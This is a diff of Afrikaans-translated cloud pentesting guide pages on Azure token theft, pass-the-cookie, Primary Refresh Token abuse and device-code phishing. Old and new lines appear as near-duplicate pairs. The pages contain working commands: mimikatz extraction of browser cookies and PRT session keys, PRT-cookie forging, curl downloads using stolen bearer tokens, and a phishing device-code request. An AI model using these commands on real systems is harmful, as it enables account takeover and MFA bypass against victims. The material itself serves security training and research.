Azure PowerShell stoor ook tokens en sensitiewe data, wat plaaslik toeganklik is:
1. **Toegangstokens**: `TokenCache.dat`, geleë by `C:\Users\<username>\.Azure`, stoor toegangstokens in platte teks.
2. **Diens Prinsipaal Geheime**: Hierdie word ongeënkripteer in `AzureRmContext.json` gestoor.
2. **Diens Prinsipaal Geheimen**: Hierdie word ongeënkripteer in `AzureRmContext.json` gestoor.
3. **Token Stoor Funksie**: Gebruikers het die vermoë om tokens te behou met die `Save-AzContext` opdrag, wat versigtig gebruik moet word om ongeoorloofde toegang te voorkom.
### Outomatiese Gereedskap om hulle te vind
@@ -29,7 +29,7 @@ Azure PowerShell stoor ook tokens en sensitiewe data, wat plaaslik toeganklik is
## Tokens in geheue
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), kan sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams...) **toegangstokens in duidelike teks in geheue stoor**. So net **dumping** die **geheue** van die proses en **grepping vir JWT tokens** mag jou toegang gee oor verskeie hulpbronne van die slagoffer in die wolk wat MFA omseil.
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), kan sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams...) **toegangstokens in duidelike teks in geheue stoor**. Dus kan net **dumping** van die **geheue** van die proses en **grepping vir JWT tokens** jou toegang gee tot verskeie hulpbronne van die slagoffer in die wolk, wat MFA omseil.
Stappe:
@@ -54,6 +54,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**Let daarop dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.**
**Let wel dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.**
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
View File

@@ -24,7 +24,7 @@ Dit is moontlik om 'n **P2P-sertifikaat** vir die gebruiker aan te vra met die h
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
Die sertifikate sal so lank duur as die PRT. Om die sertifikaat te gebruik, kan jy die python-gereedskap [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) gebruik wat **authentiseer** op die afstandmasjien, **PSEXEC** uitvoer en 'n CMD op die slagoffer masjien oopmaak. Dit sal ons toelaat om Mimikatz weer te gebruik om die PRT van 'n ander gebruiker te verkry.
Die sertifikate sal so lank duur as die PRT. Om die sertifikaat te gebruik, kan jy die python-gereedskap [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) gebruik wat **authentiseer** na die afstandmasjien, **PSEXEC** uitvoer en 'n CMD op die slagoffer masjien oopmaak. Dit sal ons toelaat om Mimikatz weer te gebruik om die PRT van 'n ander gebruiker te verkry.
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
```

6
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
View File

@@ -14,7 +14,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
## Aanval
Die uitdagende deel is dat daardie **koekies geënkripteer** is vir die **gebruiker** via die Microsoft Data Protection API (**DPAPI**). Dit is geënkripteer met kriptografiese [sleutels wat aan die gebruiker gekoppel is](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) waaraan die koekies behoort. Jy kan meer inligting hieroor vind in:
Die uitdagende deel is dat daardie **koekies geënkripteer** is vir die **gebruiker** via die Microsoft Data Protection API (**DPAPI**). Dit is geënkripteer met kriptografiese [sleutels wat aan die gebruiker gekoppel is](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) waartoe die koekies behoort. Jy kan meer inligting hieroor vind in:
{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
@@ -24,9 +24,9 @@ Met Mimikatz in die hand, kan ek **'n gebruiker se koekies onttrek** al is hulle
```bash
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
```
Vir Azure, gee ons om die autentikasie-koekies, insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Hulle is daar omdat die gebruiker onlangs aktief op Azure was.
Vir Azure, gee ons om die outentikasie-koekies, insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Hierdie is daar omdat die gebruiker onlangs aktief op Azure was.
Navigeer eenvoudig na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Stay Signed In” opsie) of **`ESTSAUTH`** by. En jy sal geverifieer wees.
Navigeer eenvoudig na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Stay Signed In” opsie) of **`ESTSAUTH`** by. En jy sal geoutentiseer wees.
## References

52
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
View File

@@ -6,7 +6,7 @@
'n **Primêre Vernuwings Teken (PRT)** is 'n langlewe vernuwings teken wat in Azure AD (Entra ID) verifikasie gebruik word, soortgelyk aan 'n Kerberos TGT. Dit word uitgereik wanneer 'n gebruiker aanmeld op 'n Azure AD-verbonden toestel en kan gebruik word om toegangsteke vir verskeie toepassings aan te vra sonder om weer geloofsbriewe te vra. Elke PRT word vergesel deur 'n **sessiesleutel** (ook genoem 'n Bewys-van-Besit sleutel) -- 'n simmetriese sleutel wat gebruik word om versoeke te teken en te bewys dat die kliënt die PRT het. Die PRT self is 'n ondoorgrondelike, versleutelde blob (nie leesbaar deur die kliënt nie), terwyl die sessiesleutel gebruik word om 'n JWT wat die PRT bevat te **teken** wanneer toegangsteke aangevra word. Met ander woorde, besit van die PRT alleen is onvoldoende; 'n aanvaller het die sessiesleutel nodig om legitimiteit te bewys, soortgelyk aan die behoefte aan beide 'n Kerberos TGT en sy sessiesleutel vir verifikasie.
Op Windows word die PRT en sessiesleutel in die LSASS-proses gebuffer deur die CloudAP-inprop. As 'n toestel 'n **TPM** (Trusted Platform Module) het, bind Azure AD sleutels aan die TPM vir ekstra sekuriteit. Dit beteken dat op TPM-geskikte toestelle, die sessiesleutel gestoor of gebruik word binne die TPM sodat dit nie direk uit geheue gelees kan word nie onder normale omstandighede. As daar geen TPM beskikbaar is nie (bv. baie VM's of ouer stelsels), word die sleutels in sagteware gehou en beskerm met DPAPI-versleuteling. In beide gevalle kan 'n aanvaller met administratiewe regte of kode-uitvoering op die masjien probeer om die **PRT en sessiesleutel uit geheue te dump** as deel van post-exploitatie, en dit dan gebruik om die gebruiker in die wolk na te boots. Anders as tipiese vernuwings teken (wat gewoonlik toepassings-spesifiek is), is 'n PRT breër, wat jou toestel in staat stel om toegangsteke vir byna enige Entra ID-geïntegreerde hulpbron of diens aan te vra.
Op Windows word die PRT en sessiesleutel in die LSASS-proses gebuffer via die CloudAP-inprop. As 'n toestel 'n **TPM** (Trusted Platform Module) het, bind Azure AD sleutels aan die TPM vir ekstra sekuriteit. Dit beteken dat op TPM-geskikte toestelle, die sessiesleutel gestoor of gebruik word binne die TPM sodat dit nie direk uit geheue gelees kan word nie onder normale omstandighede. As daar geen TPM beskikbaar is nie (bv. baie VM's of ouer stelsels), word die sleutels in sagteware gehou en beskerm met DPAPI-versleuteling. In beide gevalle kan 'n aanvaller met administratiewe regte of kode-uitvoering op die masjien probeer om die **PRT en sessiesleutel uit geheue te dump** as deel van post-exploitatie, en dit dan gebruik om die gebruiker in die wolk na te doen. Anders as tipiese vernuwings teken (wat gewoonlik toepassings-spesifiek is), is 'n PRT breër, wat jou toestel in staat stel om toegangsteke vir byna enige Entra ID-geïntegreerde hulpbron of diens aan te vra.
## Hoe Werk 'n PRT?
@@ -24,7 +24,7 @@ Hier is 'n vereenvoudigde uiteensetting van hoe 'n PRT werk:
3. **Enkele Aanmelding (SSO):**
- Elke keer wanneer jy toegang verkry tot 'n Entra ID-beskermde toepassing (bv. Microsoft 365 toepassings, SharePoint, Teams), gebruik jou toestel stilweg die gestoor PRT om 'n spesifieke toegangsteken vir daardie toepassing aan te vra en te verkry.
- Elke keer wanneer jy toegang tot 'n Entra ID-beskermde toepassing (bv. Microsoft 365 toepassings, SharePoint, Teams) verkry, gebruik jou toestel stilweg die gestoor PRT om 'n spesifieke toegangsteken vir daardie toepassing aan te vra en te verkry.
- Jy hoef nie jou geloofsbriewe herhaaldelik in te voer nie omdat die PRT verifikasie deursigtig hanteer.
@@ -63,13 +63,13 @@ dsregcmd /status
```
## Pas die PRT
Volgens [hierdie pos](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) op Windows-toestelle **sonder TPM-binding**, woon die PRT en sy sessiesleutel in LSASS (CloudAP-plug‑in). Met plaaslike admin/SYSTEM op daardie toestel, kan die PRT-blob en die DPAPI-geënkripteerde sessiesleutel **van LSASS gelees word, die sessiesleutel via DPAPI gedekripteer word, en die ondertekeningsleutel afgelei** word om 'n geldige PRT-koekie (`x‑ms‑RefreshTokenCredential`) te maak. Jy het beide die PRT en sy sessiesleutel nodig—die PRT-string alleen is nie genoeg nie.
Volgens [hierdie pos](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) op Windows-toestelle **sonder TPM-binding**, woon die PRT en sy sessiesleutel in LSASS (CloudAP-plug‑in). Met plaaslike admin/SYSTEM op daardie toestel, kan die PRT-blob en die DPAPI-gesleutelde sessiesleutel **van LSASS gelees word, die sessiesleutel via DPAPI ontsleutel word, en die ondertekeningsleutel afgelei** word om 'n geldige PRT-koekie (`x‑ms‑RefreshTokenCredential`) te maak. Jy het beide die PRT en sy sessiesleutel nodig—die PRT-string alleen is nie genoeg nie.
### Mimikatz
1. Die **PRT (Primêre Vernuwingsleutel) word uit LSASS** (Local Security Authority Subsystem Service) onttrek en gestoor vir latere gebruik.
2. Die **Sessiesleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer geënkripteer word deur die plaaslike toestel, vereis dit dekriptering met 'n DPAPI-meester sleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) en vir 'n begrip van sy toepassing, verwys na [Pass-the-cookie aanval](az-pass-the-cookie.md).
3. Na dekriptering van die Sessiesleutel, word die **afgeleide sleutel en konteks vir die PRT verkry**. Hierdie is noodsaaklik vir die **skepping van die PRT-koekie**. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te onderteken. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
1. Die **PRT (Primêre Vernuwingsleutel) word uit LSASS** (Plaaslike Sekuriteitsowerheid Substelseldiens) onttrek en gestoor vir latere gebruik.
2. Die **Sessiesleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-gesleutel word, vereis dit ontsleuteling met 'n DPAPI-hoofsleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) en vir 'n begrip van sy toepassing, verwys na [Pass-the-cookie aanval](az-pass-the-cookie.md).
3. Na die ontsleuteling van die Sessiesleutel, word die **afgeleide sleutel en konteks vir die PRT verkry**. Hierdie is noodsaaklik vir die **skepping van die PRT-koekie**. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te onderteken. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
```bash
privilege::debug
sekurlsa::cloudap
@@ -80,9 +80,9 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
Die **PRT-veld** bevat die geënkripteerde herlaaikas (tipies 'n base64-string), en KeyValue in die ProofOfPossessionKey is die DPAPI-geënkripteerde sessiesleutel (ook base64).
Kopieer dan die base64-blob van **`KeyValue`** binne die veld `ProofOfPossessionKey` uit die **`sekurlsa::cloudap`** uitvoer (dit is die sessiesleutel geënkripteer met DPAPI). Hierdie geënkripteerde sleutel kan nie soos dit is gebruik word nie – dit moet ontkrip word met behulp van die stelsel se DPAPI-akkrediteer.
Kopieer dan die base64-blob van **`KeyValue`** binne die veld `ProofOfPossessionKey` uit die **`sekurlsa::cloudap`** uitvoer (dit is die sessiesleutel geënkripteer met DPAPI). Hierdie geënkripteerde sleutel kan nie soos dit is gebruik word nie – dit moet ontkrip word met die stelsel se DPAPI-akkrediteer.
Omdat DPAPI-enkripsie vir stelselsiektes die masjien se stelsels konteks vereis, verhoog jou token na SYSTEM en gebruik Mimikatz se DPAPI-modules om te ontkrip:
Omdat DPAPI-enkripsie vir stelsels geheimenisse die masjien se stelselkonteks vereis, verhef jou token na SYSTEM en gebruik Mimikatz se DPAPI-modules om te ontkrip:
```bash
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
@@ -105,9 +105,9 @@ Dan kan jy ook mimikatz gebruik om 'n geldige PRT koekie te genereer:
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
```
Mimikatz sal 'n geskrewe JWT (die `PRT koekie`) uitset na die lyn “Handtekening met sleutel”, wat die PRT bevat en onderteken is met die afgeleide sleutel. Hierdie JWT kan gekopieer word en dan in 'n websessie gebruik word. Byvoorbeeld, 'n aanvaller kan 'n blaaier oopmaak, na `login.microsoftonline.com` gaan, en 'n koekie genaamd `x-ms-RefreshTokenCredential` stel met die waarde wat hierdie JWT is. Wanneer die blaaiers herlaai of navigeer, sal Azure AD die sessie as geverifieer beskou (die PRT koekie word aangebied asof SSO plaasgevind het), en dit sal 'n magtigingskode of toegangstoken vir die gespesifiseerde hulpbron uitreik. In praktyk, sou 'n mens na 'n hulpbron soos Office 365 of Azure-portaal navigeer; die teenwoordigheid van 'n geldige PRT koekie beteken dat Azure AD toegang sal verleen sonder addisionele aanmelding (om MFA te omseil, aangesien die PRT reeds geverifieer is).
Mimikatz sal 'n geskrewe JWT (die `PRT koekie`) uitset na die lyn “Handtekening met sleutel”, wat die PRT bevat en onderteken is met die afgeleide sleutel. Hierdie JWT kan gekopieer word en dan in 'n websessie gebruik word. Byvoorbeeld, 'n aanvaller kan 'n blaaier oopmaak, na `login.microsoftonline.com` gaan, en 'n koekie genaamd `x-ms-RefreshTokenCredential` stel met die waarde wat hierdie JWT is. Wanneer die blaaiers herlaai of navigeer, sal Azure AD die sessie as geverifieer behandel (die PRT koekie word aangebied asof SSO plaasgevind het), en dit sal 'n magtigingskode of toegangstoken vir die gespesifiseerde hulpbron uitreik. In praktyk, sou 'n mens na 'n hulpbron soos Office 365 of Azure-portaal navigeer; die teenwoordigheid van 'n geldige PRT koekie beteken dat Azure AD toegang sal verleen sonder addisionele aanmelding (om MFA te omseil, aangesien die PRT reeds geverifieer is).
Jy kan ook **`roadtx`** en **`roadrecon`** gebruik met die PRT van die PRT koekie om die gebruiker na te boots *(TODO: Vind die presiese opdraglyne om roadtx/roadrecon te gebruik om akrediteer te verkry van 'n PRT)*.
Jy kan ook **`roadtx`** en **`roadrecon`** met die PRT van die PRT koekie gebruik om die gebruiker na te boots *(TODO: Vind die presiese opdraglyne om roadtx/roadrecon te gebruik om akrediteer te verkry van 'n PRT)*.
### Mimikatz + AADInternals
@@ -158,7 +158,7 @@ roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <deri
```
## Misbruik van beskermde PRTs
Ten spyte van die genoemde beskermings, kan 'n aanvaller wat reeds 'n toestel gekompromitteer het (as 'n plaaslike gebruiker of selfs SYSTEM) steeds **die PRT misbruik om vars toegangstokens te verkry** deur Windows se eie token broker APIs en sekuriteitskomponente te benut. In plaas daarvan om die ruwe PRT of sleutel te **onttrek**, vra die aanvaller eintlik **"aan" Windows om die PRT namens hulle te gebruik**. In die afdelings hieronder skets ons tans geldige tegnieke vir die misbruik van PRTs en hul sessiesleutels op opdatering Windows-toestelle waar TPM-beskermings van toepassing is. Al hierdie tegnieke neem aan dat daar post-exploit toegang op die teikenmasjien is, en **fokus op die misbruik van ingeboude verifikasievloei** (geen onopgeloste kwesbaarhede benodig nie).
Ten spyte van die genoemde beskermings, kan 'n aanvaller wat reeds 'n toestel gekompromitteer het (as 'n plaaslike gebruiker of selfs SYSTEM) steeds **die PRT misbruik om vars toegangstokens te verkry** deur Windows se eie token broker API's en sekuriteitskomponente te benut. In plaas daarvan om die ruwe PRT of sleutel te **onttrek**, vra die aanvaller eintlik **"aan" Windows om die PRT namens hulle te gebruik**. In die afdelings hieronder skets ons tans geldige tegnieke vir die misbruik van PRTs en hul sessiesleutels op opdatering Windows-toestelle waar TPM-beskermings van krag is. Al hierdie tegnieke neem aan dat daar post-exploit toegang op die teikenmasjien is, en **fokus op die misbruik van ingeboude verifikasievloei** (geen onopgeloste kwesbaarhede benodig nie).
### Windows Token Broker Argitektuur en SSO Vloei
@@ -166,15 +166,15 @@ Moderne Windows hanteer wolkverifikasie via 'n ingeboude **token broker** stapel
- **LSASS CloudAP Plugin:** Wanneer 'n toestel Azure AD-verbonden is, laai LSASS wolkverifikasie-pakkette (bv. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) wat PRTs en token versoeke bestuur. LSASS (wat as SYSTEM loop) orkestreer PRT berging, vernuwing, en gebruik, en kommunikeer met die TPM om kriptografiese operasies uit te voer (soos om 'n PRT-uitdaging met die sessiesleutel te teken).
- **Web Account Manager (WAM):** Die Windows Web Account Manager is 'n gebruikersmodus raamwerk (toeganklik via COM/WinRT APIs) wat toelaat dat toepassings of blaaiers tokens vir wolk rekeninge versoek sonder om vir akrediteer te vra. WAM dien as 'n broker tussen gebruikers toepassings en die veilige LSASS/TPM-ondersteunde PRT. Byvoorbeeld, Microsoft's MSAL biblioteek en sekere OS-komponente gebruik WAM om stilweg tokens te verkry met die ingelogde gebruiker se PRT.
- **Web Account Manager (WAM):** Die Windows Web Account Manager is 'n gebruikersmodus raamwerk (toeganklik via COM/WinRT API's) wat toelaat dat toepassings of blaaiers tokens vir wolk rekeninge versoek sonder om vir akrediteer te vra. WAM dien as 'n makelaar tussen gebruikers toepassings en die veilige LSASS/TPM-ondersteunde PRT. Byvoorbeeld, Microsoft's MSAL biblioteek en sekere OS-komponente gebruik WAM om stilweg tokens te verkry met die ingelogde gebruiker se PRT.
- **BrowserCore.exe en Token Broker COM interfaces:** Vir blaaiers SSO, sluit Windows 'n komponent genaamd **BrowserCore.exe** in (geleë onder *Windows Security\BrowserCore*). Dit is 'n inheemse boodskapgasheer wat deur blaaiers (Edge, Chrome via 'n uitbreiding, ens.) gebruik word om 'n PRT-afgeleide SSO-token vir Azure AD aanmelding te verkry. Onder die oppervlak benut BrowserCore 'n COM objek wat deur `MicrosoftAccountTokenProvider.dll` verskaf word om 'n PRT-gebaseerde koekie/token te verkry. In wese is hierdie COM-koppelvlak 'n eerste-party "token broker" API wat enige proses wat as die gebruiker loop kan aanroep om 'n SSO-token te verkry (aangegee dat die gebruiker 'n geldige PRT in LSASS het).
Wanneer 'n Azure AD-verbonden gebruiker probeer om toegang tot 'n hulpbron te verkry (byvoorbeeld, die Azure Portal), is die vloei tipies: 'n toepassing roep WAM of BrowserCore se COM-koppelvlak aan, wat op sy beurt met LSASS kommunikeer. LSASS gebruik die PRT en sessiesleutel (beveilig deur TPM) om 'n **SSO-token** te produseer -- dikwels 'n **PRT koekie** genoem -- wat dan aan die toepassing of blaier teruggegee word. Die PRT koekie is 'n spesiale JWT wat die versleutelde PRT en 'n nonce bevat, onderteken met 'n sleutel wat afgelei is van die PRT se sessiesleutel. Hierdie koekie word aan Azure AD gestuur (in 'n `x-ms-RefreshTokenCredential` kop) om te bewys dat die toestel en gebruiker 'n geldige PRT het, wat Azure AD toelaat om standaard OAuth verfris- en toegangstokens vir verskeie toepassings uit te reik. Opmerklik is dat enige Multi-Factor Authentication (MFA) eis wat in die PRT teenwoordig is, in tokens wat via hierdie SSO-proses verkry is, sal wees, wat beteken dat PRT-afgeleide tokens MFA-beskermde hulpbronne kan bevredig.
Wanneer 'n Azure AD-verbonden gebruiker probeer om toegang tot 'n hulpbron te verkry (byvoorbeeld, die Azure Portal), is die vloei tipies: 'n toepassing roep WAM of BrowserCore se COM-koppelvlak aan, wat op sy beurt met LSASS kommunikeer. LSASS gebruik die PRT en sessiesleutel (beveilig deur TPM) om 'n **SSO-token** te produseer -- dikwels 'n **PRT koekie** genoem -- wat dan aan die toepassing of blaaiers teruggegee word. Die PRT koekie is 'n spesiale JWT wat die versleutelde PRT en 'n nonce bevat, onderteken met 'n sleutel wat afgelei is van die PRT se sessiesleutel. Hierdie koekie word aan Azure AD gestuur (in 'n `x-ms-RefreshTokenCredential` kop) om te bewys dat die toestel en gebruiker 'n geldige PRT het, wat Azure AD toelaat om standaard OAuth verfris- en toegangstokens vir verskeie toepassings uit te reik. Opmerklik is dat enige Multi-Factor Authentication (MFA) eis wat in die PRT teenwoordig is, in tokens wat via hierdie SSO-proses verkry word, sal wees, wat beteken dat PRT-afgeleide tokens MFA-beskermde hulpbronne kan bevredig.
### Gebruiker-Vlak Token Diefstal (Nie-Admin)
Wanneer 'n aanvaller **gebruikersvlak kode-uitvoering** het, stop die TPM-beskerming van PRT nie die aanvaller om tokens te verkry nie. Die aanvaller **benut ingeboude Windows Token Broker APIs**:
Wanneer 'n aanvaller **gebruikersvlak kode-uitvoering** het, stop die TPM-beskerming van PRT nie die aanvaller om tokens te verkry nie. Die aanvaller **benut ingeboude Windows Token Broker API's**:
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
@@ -184,11 +184,11 @@ BrowserCore stel 'n COM-klas (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-
```bash
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
```
*(Gee 'n Azure AD verfris token of PRT koekie terug)*
*(Terugkeer 'n Azure AD verfris token of PRT koekie)*
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
ROADtoken sal **`BrowserCore.exe`** vanaf die regte gids uitvoer en dit gebruik om 'n **PRT koekie te verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te autentiseer en 'n **volhoubare verfris token te verkry**.
ROADtoken sal **`BrowserCore.exe`** vanaf die regte gids uitvoer en dit gebruik om **'n PRT koekie te verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te autentiseer en **'n volhoubare verfris token te verkry**.
Om 'n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het 'n nonce.\
Jy kan dit kry met:
@@ -242,7 +242,7 @@ execute-assembly aadprt.exe
```bash
execute-assembly listwamaccounts.exe
```
*(Lys Azure AD-rekeninge wat via WAM ingelog is; identifiseer token teikens)*
*(Lys Azure AD-rekeninge wat via WAM ingelogde is; identifiseer token teikens)*
- **Generiese Voorbeeld (PowerShell met MSAL)**:
```powershell
@@ -258,13 +258,13 @@ As die aanvaller op **Administrateur of SISTEEM** opgradeer, kan hulle enige Azu
### **Gebruiker Nabootsing en Token Verkryging**
Admin/SISTEEM kan lopende sessies van ander gebruikers naboots om BrowserCore of WAM aan te roep vir token-generasie.
Admin/SISTEEM kan lopende sessies van ander gebruikers naboots om BrowserCore of WAM vir token-generasie aan te roep.
Vir hierdie, naboots net die gebruikersproses (bv. `explorer.exe`) en roep die token broker APIs aan met enige tegniek wat in die vorige afdeling kommentaar gelewer is.
### **Direkte LSASS & Token Broker Interaksie (Geavanceerd)**
'n Administrateur kan steeds met LSASS werk om die PRT te misbruik: byvoorbeeld, 'n admin kan kode in LSASS inspuit of interne CloudAP-funksies aanroep om LSASS te dwing om 'n token te genereer. Dirk-jan se navorsing het opgemerk dat 'n admin “met PRT sleutels in LSASS kan interaksie hê deur crypto APIs”. In praktyk kan dit beteken om LSASS se eie funksies te gebruik (deur 'n tegniek soos API hooking of RPC, indien beskikbaar) om 'n PRT koekie te genereer. 'n Ander benadering is om enige venster te benut waar die sessiesleutel in geheue mag verskyn – byvoorbeeld, op die oomblik van PRT-vernuwing of toestelregistrasie wanneer dit nie versleuteld is vir gebruik nie. Sulke aanvalle is aansienlik meer kompleks en situasioneel. 'n Meer direkte admin-taktiek is om bestaande token-handvatsels of caches te misbruik: LSASS cache onlangs uitgereikte verfrissingstokens vir toepassings in geheue (versleuteld met DPAPI). 'n Vasberade SISTEEM-aanvaller kan probeer om hierdie DPAPI-beskermde tokens te onttrek (met die gebruiker se meester sleutel, wat 'n admin kan verkry) om direk verfrissingstokens vir spesifieke toepassings te steel. Tog bly die maklikste en mees generiese metode nabootsing en gebruik van die gedokumenteerde token broker interfaces, aangesien hierdie waarborg dat Azure AD vars tokens sal uitreik (met al die behoorlike aansprake) eerder as om te probeer om versleuteling te kraak.
'n Administrateur kan steeds met LSASS werk om die PRT te misbruik: byvoorbeeld, 'n admin kan kode in LSASS inspuit of interne CloudAP-funksies aanroep om LSASS te dwing om 'n token te genereer. Dirk-jan se navorsing het opgemerk dat 'n admin “met PRT sleutels in LSASS kan interaksie hê deur crypto APIs”. In praktyk kan dit beteken om LSASS se eie funksies te gebruik (deur 'n tegniek soos API hooking of RPC, indien beskikbaar) om 'n PRT koekie te genereer. 'n Ander benadering is om enige venster te benut waar die sessiesleutel in geheue mag verskyn – byvoorbeeld, op die oomblik van PRT-vernuwing of toestelregistrasie wanneer dit nie versleuteld is vir gebruik nie. Sulke aanvalle is aansienlik meer kompleks en situasioneel. 'n Meer direkte admin-taktiek is om bestaande token-handvatsels of caches te misbruik: LSASS cache onlangs uitgereikte verfrissingstokens vir toepassings in geheue (versleuteld met DPAPI). 'n Vasberade SISTEEM-aanvaller kan probeer om hierdie DPAPI-beskermde tokens (met die gebruiker se meester sleutel, wat 'n admin kan verkry) te onttrek om direk verfrissingstokens vir spesifieke toepassings te steel. Tog bly die maklikste en mees generiese metode nabootsing en gebruik van die gedokumenteerde token broker interfaces, aangesien hierdie waarborg dat Azure AD vars tokens sal uitreik (met al die behoorlike aansprake) eerder as om te probeer om versleuteling te kraak.
## Phishing PRTs
@@ -272,9 +272,9 @@ Misbruik die **OAuth Device Code** vloei met die **Microsoft Authentication Brok
### **Waarom dit werk**
- **PRT** is **toestel-gebound** en stel **SSO vir (byna) enige Entra-beskermde toepassing** in staat.
- **PRT** is **toestel-gebound** en stel **SSO vir (byna) enige Entra-beskermde app** in staat.
- Die **Broker kliënt + DRS** kombinasie laat 'n gephishde **verfrissingstoken** toe om **verruil te word vir 'n PRT** sodra 'n toestel geregistreer is.
- **MFA word nie omseil nie**: die **gebruiker voer MFA** uit tydens die phishing; **MFA aansprake versprei** in die resulterende PRT, wat die aanvaller toelaat om toegang tot toepassings te verkry **sonder verdere vrae**.
- **MFA word nie omseil nie**: die **gebruiker voer MFA** uit tydens die phish; **MFA aansprake versprei** in die resulterende PRT, wat die aanvaller toelaat om toegang tot toepassings te verkry **sonder verdere vrae**.
**Vereistes**:
@@ -285,18 +285,18 @@ Misbruik die **OAuth Device Code** vloei met die **Microsoft Authentication Brok
**Aanval Vloei**:
1. **Begin Toestelkode-auth** met **client_id = Broker** en **DRS skoop/hulpbron**; wys die **gebruiker kode** aan die slagoffer.
1. **Begin Toestelkode verifikasie** met **client_id = Broker** en **DRS skoop/hulpbron**; wys die **gebruiker kode** aan die slagoffer.
```bash
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
```
2. **Slachtoffer teken in op Microsoft se webwerf** (legitieme UI) en voltooi **MFA** → **aanvaller ontvang 'n DRS‑geskepte hernuwingstoken** vir die Broker-kliënt.
2. **Slachtoffer teken in op Microsoft se webwerf** (legitieme UI) en voltooi **MFA** → **aanvaller ontvang 'n DRS‑geskepte verfrissingstoken** vir die Broker-kliënt.
3. **Registreer 'n rogue toestel** in die tenant met behulp van daardie hernuwingstoken (toestelobjek word geskep en aan die slachtoffer gekoppel).
3. **Registreer 'n rogue toestel** in die tenant met behulp van daardie verfrissingstoken (toestelobjek word geskep en aan die slachtoffer gekoppel).
4. **Opgradeer na 'n PRT** deur die **hernuwingstoken + toestelidentiteit/sluitings** te ruil → **PRT** gebonde aan die aanvaller se toestel.
4. **Opgradeer na 'n PRT** deur die **verfrissingstoken + toestelidentiteit/sluitings** te ruil → **PRT** gebonde aan die aanvaller se toestel.
5. **(Opsionele volharding)**: as MFA vars was, **registreer 'n Windows Hello for Business-sleutel** om **langtermyn, wagwoordlose toegang** te handhaaf.
@@ -313,7 +313,7 @@ curl -s -X POST \
- [Dirkjan se blogpos oor PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
- [Dirkjan se pos oor phishing PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
